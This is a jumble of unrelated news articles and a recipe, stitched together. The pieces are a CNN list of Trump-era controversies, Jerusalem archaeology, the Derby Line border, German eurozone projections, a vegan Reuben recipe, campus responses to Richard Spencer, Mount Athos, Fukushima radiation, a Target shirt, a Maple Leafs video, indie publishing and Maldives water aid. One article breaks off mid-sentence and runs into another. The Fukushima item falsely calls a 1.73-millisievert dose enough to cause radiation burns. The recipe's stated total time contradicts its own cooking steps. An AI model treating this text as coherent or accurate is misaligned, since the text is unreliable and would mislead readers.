(CNN) This has been a crazy year in American politics, perhaps the most tumultuous year since 1968. When, in the early morning hours of November 9, the outcome of the 2016 election became clear, almost everyone -- experts and non-experts alike -- felt that the political earth had trembled beneath their feet.
This was one of the most unpredictable elections anybody had ever seen. Donald Trump was anything but a conventional candidate. Facing Hillary Clinton, one of the most experienced candidates in recent history, Trump won despite having no background in politics, ruthlessly defying almost every political tradition, surviving a number of scandals, and as anyone -- like me -- who grew up in the tri-state area in the 1980s remembered, being a notorious troublemaker who craved public attention.
Notwithstanding the shock and awe of the election, nothing could prepare us for what was to come.
If you live in the moment of politics, you no doubt witness the weirdness of US government right now. But if you stand back and look at the cumulative record of the past 12 months, the impact is truly astounding. It is not a surprise that the Washington Post found seven in ten Americans believe that the political divisions in the United States have become as bad as they were during the Vietnam War. Here are thirteen of the most shocking moments since Donald Trump won the election.
1. On November 27, 2016, President Trump tweets that "I won the popular vote if you deduct the millions of people who voted illegally." Trump would continue to make this false claim, including in private conversations. Despite winning the Electoral College and thus the election, Trump clearly has felt stung by the fact that he lost to Hillary Clinton in the popular vote. The tweet revealed his willingness to play with the facts and to make claims in reckless fashion that could have serious policy consequences, not least of which is the controversial "voter fraud commission" Trump established.
2. As he takes office, President Trump refuses to create a clear firewall between his global business empire and the Oval Office. Handing control, but not ownership, of the business to his two sons Eric and Donald in January, President Trump, who has spent most of his weekends at Trump properties in what amounts to an ongoing advertisement, ignores the warnings of ethics watchdogs in both parties who say this situation poses serious problems. The decision establishes the tone at the outset for the muddied ethical landscape of Trump-land.
3. On March 4, President Trump accuses former President Obama of wiretapping him during the campaign in Trump Tower in New York City. The allegation, which then-FBI Director James Comey says is not true, is symptomatic of a President willing to launch all sorts of unwarranted accusations against officials.
4. President Trump fires James Comey on May 9, while the FBI director is in the middle of investigating whether his campaign colluded with the Russians in the election. Trump will say in a meeting with Russian officials on May 10 that he fired Comey to get rid of this "Russia thing" and explains to his guests that firing that "nut job" relieved "great pressure" on him. The decision was part of his aggressive response to the Russia scandal and clearly backfired -- it triggered the appointment of Robert Mueller as special counsel.
5. President Trump tweets about MSNBC host Mika Brzezinski, a leading critic of the administration, on June 29 saying that she was "bleeding badly from a face-lift" at a social gathering in Florida where they schmoozed. The comment reflected his hostile views about women, his continued antagonism with the non-conservative press, and the debased kind of the language that he is willing to use in public.
6. With mounting evidence about how much Russian President Vladimir Putin's regime, a hostile power, worked to intervene in the 2016 election, the President caves to pressure on August 2 to sign legislation passed by a Republican Congress that imposed tighter sanctions on Russia and curtailed his ability to ease them. The legislation grew out of frustration that the administration was indifferent, at best, to how Russia had used hackers and social media to influence the election in favor of the GOP. Congress passed the legislation several weeks after the revelation that Donald Trump Jr. and a number of top campaign officials had met with a Russian lawyer in Trump Tower on June 9 after being promised via email damaging information about Hillary Clinton.
7. At a speech to police cadets on July 28, President Trump effectively endorses police brutality when he says that police officers should not be so worried about people who have been arrested banging their heads as they get into squad cars. "Please don't be too nice," he said. The comments were later described by the White House as a joke, though this didn't sit well with anyone who has been outraged by incidents of shocking police violence against African-Americans over the past few years.
8. On the same day, July 28, Senator John McCain returns to the Senate after being diagnosed with brain cancer to give a dramatic thumbs-down to the Obamacare repeal and replace notion that had been a centerpiece of GOP politics for years. President Trump badly mishandled the legislative process and Senate Majority Leader Mitch McConnell did not prove to be up to the task of leading a majority during a moment of united government. The bill proved deeply unpopular with voters. As he pushes the idea of a big tax cut package, President Trump's legislative record remains meager.
9. President Trump resists making a strong denunciation of white racism, insisting on talking about how " both sides " engage in extremism. Following a horrific day of neo-Nazi marches in Charlottesville, Virginia, to protest the removal of a statue of the Confederate Robert E. Lee, President Trump is slow to come down hard on the protesters. Even after finally making a statement condemning these groups, he then shocks some of his own advisers with a bizarre press conference on August 15 at Trump Tower where he backs away from his unequivocal condemnation of white racists.
10. Amid escalating tensions with North Korea, President Trump on September 19 brings his Twitter banter to one of the most important international institutions that we have. The President turns to juvenile name-calling by referring to Kim Jong Un as "Rocket Man" during his first address to the UN General Assembly. As the world watched anxiously to see if the administration would handle this challenge with a level head, the President decides to use hawkish bluster and an ad-hoc approach in dealing with foreign policy. He threatened that he would " totally destroy " North Korea if he had to.
11. The chairman of the Senate Foreign Relations Committee, Bob Corker, a fellow Republican who supported Trump's campaign, warns in early October that President Trump's statements about foreign leaders threatened to trigger "World War III." Just a handful of presidential advisors, according to Corker, were the only thing that help "separate the country from chaos." Corker also called the White House an "adult day care center." Senator Jeff Flake made a dramatic speech to the Senate: "We must never regard as 'normal' the regular and casual undermining of our democratic norms and ideals." The comments exposed deepening rifts within the GOP about whether President Trump is fit to serve, at the same time that they show how strong partisan loyalty remains. Even with Republicans thinking and saying things like this, there has still been almost no effort within the party to take serious steps to constrain the President.
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12. Trump cannot resist saying something after Congresswoman Frederica Wilson maintains that the President had made insensitive remarks to the pregnant widow of Sgt. La David Johnson. The conversation itself, as well as the back-and-forth that followed, literally brought Myeshia Johnson to tears. This was not the first time that the President tangled with Gold Star families. (After the Democratic convention, he lashed out against the Pakistani-American parents of US Army Captain Humayun Khan for challenging his devotion to the constitution, and for mocking Senator John McCain for having been captured in Vietnam.)
13. Trump's former campaign manager Paul Manafort and his close associate Rick Gates are indicted on a number of major charges that include money laundering. And the nation learns that one of candidate Trump's foreign policy advisors, George Papadopoulos, pled guilty to lying to the FBI about his contacts with Russian officials. Details of the plea reveal he was working in the spring and summer of 2016 to set up contacts between Russian officials and the campaign. At a time the President was working hard to discredit the investigation and focus attention on Hillary Clinton, Americans were reminded of how serious Robert Mueller's investigation is and how long this will likely go on.
Of course, what makes this list so remarkable is just how incomplete it is. Readers will inevitably be able to think of dozens more moments they would include. And we all know that there are many more to come, probably one on the day this piece is published.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Despite over 100 years of exhaustive excavations throughout Jerusalem’s City of David, archeologists have been unable to find a single significant structure from the Hasmonean period, until now.
On Tuesday, following months of delicate probing and analysis, the Antiquities Authority announced an unprecedented finding – a 4- meter-high building from the second century BCE, covering some 64 square meters, with dozens of ancient coins still lying on its floors.
The structure, enclosed by walls made of roughly hewn limestone blocks more than a meter thick, was found earlier this year in the Givati parking lot, located by the walls surrounding the City of David National Park.“More than 100 years of archeological excavation has failed to find the buildings of the Hasmonean period,” Dr. Doron Ben-Ami, one of the excavation’s directors, said on Tuesday. “We have not had good evidence of Hasmonean buildings, until now.”The Hasmonean dynasty, descendants of the Maccabee family, ruled Judea and surrounding areas from 141-37 BCE, during classical antiquity.In 37 BCE the Hasmoneans fell to Herod the Great, of Edomite descent, and the Herodian dynasty began.Although numerous pottery vessels were discovered inside the building, Ben-Ami said it was the discovery of more than 40 silver and bronze coins found on the floor that surprised him most.“These indicated the structure was erected in the early 2nd century BCE and continued into the Hasmonean period, during which time significant changes were made inside it,” he said.Ben-Ami said the coins are presently in the Antiquities Authority laboratory, where they continue to be cleaned, and will not be displayed for another year.“The silver coins are easier to clean than the bronze ones, which take a tremendous amount of time to uncover the small details,” he said.While descriptions of the Hasmonean city were vividly articulated in the works of Flavius Josephus, Ben- Ami said that apart |
sneak from one country to another.
“It’s probably the most confusing part of our border,” he said. “They don’t have control over a piece of property right in front of them.”
Derby Line and the adjoining town of Stanstead, Canada, have long been a poster child for the challenges of maintaining the northern border, with streets blocked by decorative metal grates in some places and flowerpots in others. In some areas, the border runs through the middle of farmers’ fields or alongside dirt roads. Most of it lacks a fence or even signs warning people they’re about to cross from one country into another, although even coming close draws a quick response from patrolling U.S. agents in SUVs and Jeeps.
This house straddles the U.S.-Canadian border, with the border line running through the right side of the building and out the back. (Photo: Trevor Hughes/USA TODAY)
Border guards on the Canadian side say sensors embedded in the ground and satellites overhead help monitor the area, and agents take illegal crossings seriously. In 2010, a local man was detained for walking across the road to buy a pizza. More recently, a Russian man who became a naturalized Canadian was arrested and indicted on charges he tried to help a Russian and a Uzbek man illegally enter the U.S. after the two walked crossed the border by sneaking through a field east of Derby Line.
Federal court filings acknowledge the area is a “well-known smuggling corridor with previous alien smuggling events.”
Troy Rabideau, the U.S. Customs and Border Protection assistant port director for the area, said the agents know who live there, but keeping track can be a challenge.
"It's always a fine line," Rabideau said. "We do the best we can to keep an eye on it. We do what we have to do, security first, but we also want the support of the locals."
In the case brought against the Russian-Canadian man arrested May 31, federal officials said remote sensors and cameras detected the two men walking through the field at about 2 a.m. beneath a crescent moon.
Brian and Jean DuMoulin chat with an U.S. Border Patrol agent outside their home that sits across the U.S.-Canadian Border. The Canadian border post is across the street. The Border Patrol agent came out to see why the DuMoulins were taking photos of the border posts and their house. (Photo: Trevor Hughes/USA TODAY)
Before the 9/11 terrorist attacks on New York and Washington, things were far more casual.
DuMoulin remembers hot-wiring his dad’s car decades ago so he could drive across the border to meet his now-wife, Joan, 70, who grew up on the American side.
“I’d drive through customs, wires hanging down, 14 years old, no driver’s license. And they’d laugh,” DuMoulin said. “That’s how slack it was. You never gave it a second thought. Now, it’s a big deal.”
The house is one of several structures in the area built atop the approximately 5,000-mile-long border, including the nearby Haskell Free Library and Opera House, whose founders shared U.S.-Canadian heritage and wanted the facility open to people from both countries.
The Haskell entrance is on the U.S. side, but American border officials permit Canadians to walk across the border, without first visiting a checkpoint, if they stay on the sidewalk. American agents in marked Border Patrol SUVs keep a close eye on the area but otherwise don’t interfere as Canadians weave through the flowerpots marking the border and step inside.
This faded sign warns people to detour to a formal border-crossing post nearby instead of continuing along the route. (Photo: Trevor Hughes/USA TODAY)
Library visitors can check out books in both English and French, and the local theater company draws from both countries. Wandering around town, it’s clear visitors from both sides find the unusual arrangement fascinating. Americans snap photos across the street into Canada, and Canadians similarly pose in front of the Canusa St. sign a few feet away.
DuMoulin grew up hearing stories about people bringing in goods from one country and selling them across the counter to the other, including salt and undyed margarine. His aunt drove an overpowered American car with no back seats and a trunk she refused to open for customs agents.
Was she bootlegging booze across the border during Prohibition? “I was a 7-year-old. They wouldn’t have told me if they did,” DuMoulin said with a laugh.
Contributing: The Associated Press
Read or Share this story: http://www.burlingtonfreepress.com/story/news/2017/06/14/sale-230-year-old-fixer-upper-straddling-us-canada-border/397207001/German finance ministry projections show Berlin is far from negotiating solution to eurozone crisis from position of strength
German finance ministry officials fear that a collapse of the eurozone would decimate the country's economy, driving thousands of companies out of business and putting an additional 2 million people out of a job.
A ministry official told Der Spiegel of the latest projections, which belie any sense that Germany, the richest and most powerful eurozone economy, is negotiating a solution to the crisis from a position of overwhelming strength.
In the first year after a breakup, the German economy would contract by 10% and the number of unemployed would soar above 5 million, the ministry predicts. Germany's current jobless figure is just under 3 million, the lowest in two decades.
Hundreds of thousands of jobs would move abroad, and thousands of companies would go bust. The country's deficit would shoot up as tax income fell and the government was forced to increase expenditure, from bailing out banks to spending more on social welfare.
"When measured against such scenarios, even an extremely costly rescue seems to be the lesser evil," a ministry official told the magazine.
Der Spiegel also cites another scenario put forward by the Swiss bank UBS, which predicts that the breakup of the euro would cost Germany far in excess of €500bn (£403bn), and up to a quarter of its entire GDP.
In an interview with the magazine, Germany's finance minister, Wolfgang Schäuble, warned of the dangers of the eurozone collapsing. "Many of the things that we have achieved and cherish would be called into question, from the common market to free travel across Europe."
"A disintegration of the EU would be absurd," he said. "The world is moving closer together, and in Europe each country would go it alone again? This cannot be, must not be and will not be."Share the Goodness
I get food crushes all the time; I am a bit of a tart that way. However, I think this Vegan Mushroom Reuben Sandwich might be the real thing. Pan fried spiced mushrooms, homemade red cabbage sauerkraut, Russian dressing and pickles combine in each wonderfully messy and textured bite.
Eating a plant-based diet is a challenge for me. I didn’t turn the corner and all of a sudden start hating the taste of chicken and bacon or loathing goat’s cheese. I love animals and don’t want them on my plate but guiltily admit, they are a bit delicious. This path would be a lot easier if the smell of bacon didn’t still make me salivate just a little. I wonder if after all this time my reaction is a primal one or simply sense memory rushing to the fore after a mini lifetime of eating meat.
Given this, my dirty little secret, it is no wonder many of my recipes on this blog are veganised versions of foods I once enjoyed or simply variations on classics. My One Pot Tomato Olive and Lemon Spaghetti is a twist on Puttanesca without the anchovies while there are no prizes for guessing the root of my Sneaky BBQ Mushroom Steamed Buns.
This Vegan Mushroom Reuben Sandwich is another twist on a classic.
With a thirty-minute quick and dirty sauerkraut, meaty mushrooms and dill pickles finished in a spicy Russian dressing, this is a vegan version even the carnivores will love.
While I would no sooner eat a pile of corned-beef these days than I would eat my dog, this Vegan Mushroom Reuben Sandwich is a “meaty” dish I can get behind. Earthy spiced mushrooms invoke just enough meat essence to fool my tastebuds while the vibrant red sauerkraut and spicy dressing add texture and balance.
While my challenge continues each day, it becomes easier with a little invention and inspiration from the classics.
Enjoy.
*Elizabeth Weil offers a wonderful and funny account of the Reuben Sandwich’s contentious history and her family’s part in it, here; it is well worth a read.
If you try this sandwich, please let me know! Leave a comment, rate it, and don’t forget to tag a photo #mygoodnesskitchen on Instagram. I’d love to see what you come up with. Cheers, friends.
If you like this, you might like to check out these recipes:
Print Pin 5 from 1 vote Vegan Mushroom Reuben Sandwich Sautéed spiced mushrooms, homemade red cabbage sauerkraut, Russian dressing and pickles pack a flavour punch in the Twisted Mushroom Reuben Sandwich. Prep Time 15 minutes Cook Time 10 minutes Quick Sauerkraut 30 minutes Total Time 25 minutes Servings 3 Calories 596 kcal Author Logan Ingredients Russian Dressing 1/2 cup 125ml vegan mayonnaise
1 heaped 20ml tablespoon chilli sauce
1 teaspoon Worcestershire sauce
1 tablespoon 20ml dill pickles, finely chopped
1 teaspoon sweet paprika Quick and Dirty Sauerkraut 1/2 head red cabbage approx 500 grams
1/2 teaspoon caraway or fennel seeds
1/2 cup apple cider vinegar
3/4 cup water
large pinch sea salt Mushrooms 150 grams mixed mushrooms - I used Pine and Swiss
1 garlic glove finely chopped
1/2 teaspoon mustard seeds
1/4 teaspoon fennel seed
pinch sea salt
1 tbsp olive oil to fry Sandwich fresh dill to serve
6 slices rye bread
1 tsp vegan butter
2 slices vegan cheese
3 dill pickles sliced Instructions To make the sauerkraut, simply slice the cabbage in to thin ribbons after removing the core and place it in a large saucepan.
Add the apple cider vinegar, water, sea salt and caraway or fennel seeds and cook down over medium heat, stirring regularly, for 35 - 40 minutes. Add more water if the cabbage begins to brown at the bottom.
Remove from the heat.
To make the Russian dressing combine all ingredients in a bowl and stir to combine.
Finely slice the mushrooms. Heat a little oil in a large fry pan and sautée the garlic for 20 seconds before adding the mustard and fennel seeds.
Add the mushrooms and toss through the spices. Cook for four minutes before seasoning with sea salt.
To assemble the sandwich, lightly butter one side of the rye bread slices and place them butter side down on a pan. Grill until lightly toasted.
Remove from the pan and smear the unbuttered side of one slice with a good dollop of the dressing before following with a generous handful of the mushrooms. If you are using cheese slices, add a slice now then add the sauerkraut and slices of the dill pickle. If you are using the cheese sauce, add a drizzle now.
Place the second slice of bread on top (buttered side out) and return the sandwich to the pan and lightly grill until warmed through.
Serve immediately. Notes My quick and dirty sauerkraut can be stored in the fridge for a week. Nutrition Calories: 596 kcal | Carbohydrates: 59 g | Protein: 9 g | Fat: 34 g | Saturated Fat: 4 g | Sodium: 853 mg | Potassium: 724 mg | Fiber: 10 g | Sugar: 10 g | Vitamin A: 37.8 % | Vitamin C: 97.9 % | Calcium: 12.3 % | Iron: 23.3 %
Share the GoodnessThe new protocol was unveiled on Sunday, a day after a woman was killed and dozens of people were injured in Charlottesville, Va., after a series of white supremacist gatherings at the University of Virginia and in the city. The timing was a coincidence, but across the country, college administrators and law enforcement officials are bracing for a wild fall of protests as their campuses become battlegrounds for society’s violent fringes.
On Monday, Texas A&M University announced that it would cancel a planned Sept. 11 appearance by the white nationalist Richard B. Spencer, who was billed as a lead speaker of the “Unite the Right” rally in Charlottesville. After an appearance by Mr. Spencer in December, Texas A&M changed its events policy to require that all speakers be invited by a student group, one of several rules colleges are enforcing as a way to control who appears on campus. Still, the person who invited Mr. Spencer to Texas A&M, a man who briefly attended the school years ago, said he would pursue legal action on free speech grounds.
Michigan State University said on Wednesday that Mr. Spencer had asked to hold an event there in mid-September, and that it was reviewing the request.
At the University of Florida, the events policy allows outside groups to rent space, even without student partners. Nevertheless, on Wednesday, the school announced it had denied Mr. Spencer’s request to appear there on Sept. 12. It cited the violence in Charlottesville and social media posts declaring, “The Next Battlefield is in Florida.”
Kent Fuchs, the university’s president, said in a statement, “The likelihood of violence and potential injury – not the words or ideas – has caused us to take this action.”On October 15th, Patriarch Bartholomew I of Constantinople called on the monks of Mount Athos to stay away from financial investments and to completely devote themselves to their mission.
The Ecumenical Patriarch, who is on Mount Athos since Tuesday the 15th in order to officiate the celebrations for the centenary of the integration of Mount Athos to Greece, was very clear in his speech to the monks.
Patriarch Bartholomew appeared to be well aware of what is happening in Mount Athos’s society, and he talked about the unfavorable conditions there, due to the general crisis of the Greek state.
During the Divine Liturgy, that was celebrated on Oct 16th at Protato, the cathedral of Karies (the capital of Mount Athos), the Ecumenical Patriarch mentioned the issue of the taxation of the monasteries and of Mount Athos, a subject that provoked a rupture in the relations between the Greek government and the monks of Mount Athos.
Regarding the Government-Mount Athos “conflict” for the privilege of tax exemption, which was not named but rather clearly described, Patriarch clarified that he does not intend to accept any discussion about changing the status quo of Mount Athos.Japan’s Tokyo Electric Power Co. (TEPCO) indicated that the radiation levels of the primary Fukushima power station is enough to kill a human being in an hour.
Through a thorough survey of the plant, TEPCO found the radiation levels of the Number 1 reactor as of late ranged between 7.0 and 9.7 sieverts (enough to poison a healthy human being) per hour after surveying six locations within the primary containment vessel, reports the Japan Times.
In the first attempt to monitor the levels of radiation, TEPCO sent a robot into the vessel on Friday, expecting it to stay alive for ten hours--it was only functional for three hours and only completed two-thirds of the tasks given.
© AP Photo / Shizuo Kambayashi Fukushima Robot Dies Three Hours After Entering Radioactive Reactor Vessel
TEPCO then tested eight of it’s employees, along with thirty-six workers hired by contractors, who worked within the facility. The company found that the total dosage was 1.73 millisieverts, which is enough to cause radiation burns.
TEPCO spokesman Teruaki Kobayashi insisted that the survey found no major issues around the opening leading to the underground part of the vessel, meaning for future surveys it will be much easier to remove any nuclear deposits from under the vessel.
The Number 1 reactors was one of the three damaged by the 9.0 magnitude Tohoku earthquake of 2011 that devastated the region.Pic: American clothing store releases a top that might offend some Irish people
This is an image of Ireland that we're not used to seeing.
JOE will never claim to be an expert on all aspects of world geography and socio-political history but we would like to think that we know enough to avoid making a complete and utter fool out of ourselves.
For example, a healthy interest in football from a young age means that we're very knowledgeable when it comes to knowing a variety of countries, capitals and flags.
See mam, we told you that watching TV for 10 hours each day would eventually pay off.
It's a shame that we can't say the same for the manufacturers/designers at American store Target, after they made a big socio-political error in their recent design.
We've already seen a similar gaffe with an I.R.A themed line of clothing but this might be worse.
Target did remove this product after their gaffe was was pointed out to them but it's still pretty unbelievable.TORONTO – The Toronto Maple Leafs have proven, once and for all, why it was incredibly important for them to stick to hockey instead of pursuing a singing career.
The Buds’ Twitter account shared a video Monday of some of the players singing “Jingle Bell Rock” in this year’s holiday video.
Within hours it had been shared nearly a thousand times.
The sweet, dulcet tones of Dion Phaneuf kicked off the rockin’ holiday jam. The hockey club’s captain was followed by Leo Komarov, Joffrey Lupul, Nazem Kadri, James Reimer and more.
The “A” for effort has to go to tenor Peter Holland who has the voice of an angel, sort of.
David Clarkson had trouble with the words while James van Riemsdyk didn’t even bother to sing. He was smart enough to talk his way out of the situation.
Lupul summed it up perfectly as he prepared for his turn, “Do I have to sing this?”
Which begs another question, is anything sacred?
The Toronto Maple Leafs would like to wish you a Merry Christmas and Happy Holidays… with a song. https://t.co/VozwbVDpn0 — Toronto Maple Leafs (@MapleLeafs) December 22, 2014
@MapleLeafs I wish the leafs would wish me a Merry Christmas with a few wins. — Chris Mac (@Topher1679) December 22, 2014
@MapleLeafs don't give up their day jobs — Esther in Mumpsville (@NUFC_fan) December 22, 2014
@MapleLeafs props to the guys for trying that… and for @JLupul attempting to actually sing it! — Kathy (@leafsweetie) December 22, 2014
@MapleLeafs Haha! That was awesome lol! — Pauly C (@PaulCasamassima) December 22, 2014By Sabrina Ricci for IndieReader.com
Indie publishing is a growing trend. According to Bowker Books in Print and Bowker Identifier Services, over 235,000 print and ebooks have been self-published as of 2011.
What’s even more interesting is that many traditionally published authors are also going indie, all for a variety of reasons—some because they were unhappy with their publishers’ marketing efforts, others because their publishers no longer wanted to publish their books. But after talking to six traditionally published authors who have since turned to self-publishing, it became clear they all had one common motive for making the switch: they wanted control.
Barbara Freethy, author of 34 books including the Wish series and the first author to sell one million books on both Nook and Kindle, said that she has been writing for 20 years, via four different publishing houses. Then in 2010, she got the rights back to her backlist books and decided to self-publish the ebook versions.
“Once I saw how well my self-publishing books were doing and how much more attention and focus I could put on my own books, it was a pretty easy decision [to continue self-publishing] because those books have been doing so much better,” she said.
Freethy said that she prefers self-publishing because she has more control and power over her own product. She can also publish her work more frequently.
“I’ve always written more quickly than my publishers have had spots in which to publish my books,” she said. “To put out three books in a series in one year is a fantastic opportunity.”
John Harnish started his self-publishing career in 1972.
“Back then, self-publishing wasn’t even a term,” he said.
He wrote a 300-word essay called “The Immortalization of Fuck,” and printed and mailed copies to buyers. Through an interesting turn of events, Pinnacle got a hold of his essay and printed it in one of their books. Just before the book went to print, an employee at Pinnacle noticed that the essay had been copyrighted, and they called John in a panic to obtain his permission. He has been writing and publishing books ever since.
Harnish said he likes the freedom of being able to price his own books at affordable rates, and owning all the rights. Last year, he was contacted by a Danish publisher who wanted to sell one of his ebooks.
Barbara Morgenroth said she likes indie publishing because she no longer feels pigeonholed into a specific genre. She has written YA, romantic comedies, mysteries, cookbooks, and photography essays.
“I wasn’t allowed to explore everything I wanted to do in traditional publishing,” she said. “Now no one cares.”
Originally published under multiple publishing houses and imprints, including Atheneum, Berkley, Alpha Penguin, and Avalon, Morgenroth has been self-publishing since 2008-2009, and currently has 15 indie books out.
“Traditional publishing was ridiculously easy to abandon,” she said.
Marie Force, author of USA Today bestsellerFatal Deception and 22 other books—15 of them self-published—has been self-publishing since 2010. Next year, she’ll be writing and publishing three to four new books in her McCarthys of Gansett Island series.
She said she decided to self-publish because she had completed a few books, and though no traditional publishers were interested, readers were clamoring for them.
“I published the first of my 15 self-published books in November of 2010, and I’ve never looked back,” she said. “Self-publishing has been the best thing to ever happen to me as an author. I’m delighted to have a way to get books to readers quickly and efficiently.”
Force prefers indie publishing because she can control every aspect of the book, she said.
“I love being able to offer a sale any time I want and having the ability to experiment with different strategies to sell books,” she said. “I love finishing a book in November and having it on sale in December, rather than waiting six months to a year for a book that readers really want now.”
Helga Kleisny, an author who has been published by Bertelsmann in Germany, started indie publishing by offering two of her books on demand. The first book accompanies her lectures to journalism students, and the second book, titled Why Flies Get Bored in the Movies, is a humorous book on bionics. She said she plans to continue self-publishing, starting with the fiction book she will be writing next year.
Kleisny said she was unhappy with her publisher because they had promised to print one of her books in color, but it ended up being printed in black and white. Because the book was full of pictures and diagrams Kleisny had created herself, she felt black and white did not do her work justice.
“I want to decide how my work goes to the readers, and not be restricted by the company because they think the book market is not big enough or they want to put their money elsewhere,” she said.
Having control is important to her as a self-publisher, she said.
“If you bake a cake, why should somebody else tell you what color the icing should be?” she said. “You baked the cake, so it’s your product; it’s your book, it’s your heart that goes into it. So somebody else should bake his or her own cake.”
James C. Martin published two of the three books in his trilogy, Push Not the River and Against a Crimson Sky, with St. Martin’s Press. Although the first book has done well and gone through nine printings, St. Martin’s told Martin they would not publish his third book, The Warsaw Conspiracy, citing low sales numbers for his second book.
Martin’s agent convinced him to self-publish The Warsaw Conspiracy, especially since he had a fan base waiting for its release. Both of his books have been bestsellers in Poland, where the story takes place.
“More and more I’m hearing this whole area of doing it yourself is growing like crazy,” he said.
Martin said he will wait and see how his journey into self-publishing goes before deciding whether or not he will stick with it. In the meantime, he is working on a fourth book, which will serve as a prequel to his trilogy.
So far, he said, he likes that he has more control over his book, especially when it comes to the covers.
The Changing Publishing Industry
Harnish said he thinks that downsizing has hurt the traditional publishing industry.
“Traditional houses have gotten sloppy,” he said, commenting that he saw a lot of typos in a Tom Clancy novel he recently read. “There are a lot of really good editors, downsized out of a job, looking for freelance work. They’re affordable [for indie publishers].”
Kleisny also said she prefers to find her own editors. “I think that because the times are changing, the better people in the bigger companies leave the companies, and make their own [way].”
Marketing was another major reason these six authors decided to go the indie route.
Kleisny said she was not happy she had to do a lot of her own marketing to promote the books published by traditional publishing houses.
“Why do they get 80 percent of the income of my book if I have to do it all by myself anyhow?” she said. “I’m just a number for them […] Just one author. One book. So why do too much for just this one book? But for me, it’s my book. It’s my nights I have spent for this book. And I believe it’s good. I know it’s good.”
Freethy said that when she was with a big publisher, her books did not see as much marketing efforts.
“As an independent publisher, I’m focusing on my books all the time, and I’m not done after three weeks or one month,” she said. “The book hasn’t gone off the shelf, because it’s digital. So I can continue my marketing efforts over the course of a year or two years.”
The Indie Publishing Learning Curve
Force said there was a huge learning curve for self-publishing.
“It doesn’t end once you figure it out the first time,” she said. “The technology and the retail offerings are changing and evolving all the time.”
Freethy urges all authors to learn the process of self-publishing.
“It’s very empowering,” she said. “Whenever you give up any kind of control to a publisher or distributor, you can get less emphasis on your own book.”
Harnish encourages all authors to get help with self-publishing, especially when they’re just starting.
“There are so many authors who will help other authors getting started,” he said.
Having written on a variety of topics, including erotica, tornadoes, and ebooks, Harnish said he often works with authors who contact him, especially if they have read one of his books about publishing.
Harnish, who was until recently the Vice President of Author Services and Special Projects Director at Infinity, said he recommends authors use companies such as Smashwords, because they do a lot for authors and only take a 15 percent cut.
He also likes Amazon and Barnes & Noble, and sells his 12 different e-books primarily through them. In the future, he’s looking to use CreateSpace for print-on-demand.
“I like Amazon,” he said. “I like what they’re doing. I like the 70 percent royalty they pay. I like the fact that I get paid monthly and they deposit it right into my checking account.”
For international authors, indie publishing may have a bigger learning curve. Kleisny said she has not yet published her books digitally, because restrictions on the book market in Germany make it more difficult than publishing in the U.S. For example, she said a book must be sold everywhere at a set price, and certain retailers, such as Apple, require international authors to obtain a U.S. tax number in order to sell through their store.
The Keys to Successful Self-Publishing
One piece of advice Harnish has for authors is to take books with them wherever they go, in case people ask what they do for a living.
“You say you’re an author,” he said, “and then they ask what you wrote, and you can show them a copy of your book.”
A big reason Freethy attributes to her success is the fact that she has a lot of books to offer, she said.
“I’m going to continue releasing new books, because I see the value of new books,” she said. “I think the biggest mistake a lot of starting out writers make is they write one book and spend a year trying to sell it, when they should have been writing more books.”
Later this year, Freethy plans to launch her books on the Callaways, a family of firefighters living in San Francisco. There will be eight connected books.
“What sells books is more books,” she said, “and that’s how you build a fan base.”
Freethy said she spends about 65 percent of her time writing and 35 percent working on the business of indie publishing. She said it’s important to pay attention to the numbers.
“It’s a really long selling process,” she said. “Your books are up there forever, so you don’t have to make your money in the first two weeks.”
Freethy also said she checks how her books are doing every day.
“Really successful indie publishers work really hard,” she said. “Not just at the writing, but at everything else.”
The Benefits of Traditional Publishing
One benefit of being traditionally published, according to some authors, is print distribution. Freethy said she’s hoping that in the future publishers will be more open to print only deals, and that they can take the success of digital authors and translate it into print. This is already starting to happen, as seen with Simon & Schuster’s deal with Hugh Howey, author of the Wool series.
Martin said he misses certain aspects of being traditionally published as well.
“There’s a sense of insecurity,” he said.
Working with publishers also means that authors can focus on what they do best: writing. Best selling indie author Amanda Hocking wrote on her blog that she sold some of her books to St. Martin's Press partly because she wanted to spend more time writing.
"I'm a writer," she wrote. "I want to be a writer. I do not want to spend 40 hours a week handling emails, formatting covers, finding editors, etc."
Harnish admitted there was only one thing he missed about being traditionally published: the parties.
“I loved that,” he said. “I mean, good grief, some weekends I would be at one party on a Friday night, and then go to an afternoon soiree out in the Hamptons, and maybe do another cocktail party or dinner party that night. It was neat.”
About the author
Sabrina Ricci is an entrepreneur, writer, and e-book developer. Her startup is Write or Read, and her first indie e-book, The 13th Cycle, a thriller novella about the Maya Calendar, is now available on Amazon, Barnes & Noble, Kobo, Smashwords, and her website. Learn more at www.sabrinaricci.com
Read more at IndieReader.com
Correction: This article was altered by the author after publication, to correct minor factual errors.Earlier this month India decided to send five planes and two ships carrying water and machinery parts to Maldives after drinking water was cut off to more than 100,000 residents in the nation’s capital of Male due to a fire in the city’s only water sewage treatment plant.
The Indian Navy’s patrol vessel INS Sukanya carried 35 tons of fresh water and two reverse osmosis plants onboard, which can produce 20 tons of fresh water per day to meet the water crisis in Maldives.
India’s large fleet tanker delivered about 900 tons of fresh water to the Maldivian capital, while two C-17 planes of the Indian Air Force also delivered another 90 tons of potable water.
Maldives, located southwest of India in the Indian Ocean, depends entirely on treated seawater. The low-lying island nation has no natural water source, so it asked for help from various countries including India, China and the United States. Just a day later, China pointedly sent a military vessel carrying 960 ton of fresh water to the Maldives to help with that fresh-water crisis. Beijing has also donated $500,000 to Male for the repairs of the country’s damaged sole desalination plant.
This water diplomacy underlines the power struggle between China and India, which is rapidly shaping the South Asian strategic landscape.
Last month the summit meeting of the South Asian Association for Regional Cooperation (SAARC) in Nepal was also marked by this Sino-Indian contest. India had to work hard to block China’s entry into the grouping.
For a long time, the dominant narrative of SAARC has been how India-Pakistan rivalry has hampered its evolution into anything of significance. That is now rapidly losing its salience with China’s growing dominance of the South Asian landscape.
China entered SAARC as an observer in 2005, supported by most member states. India could do little about it and so acquiesced. Now, much to India’s consternation, Pakistan, Sri Lanka and Nepal are supporting China’s full membership in SAARC.
China’s rising profile in South Asia is no news. What is astonishing is the diminishing role of India and the rapidity with which New Delhi is ceding strategic space to Beijing in on the subcontinent.
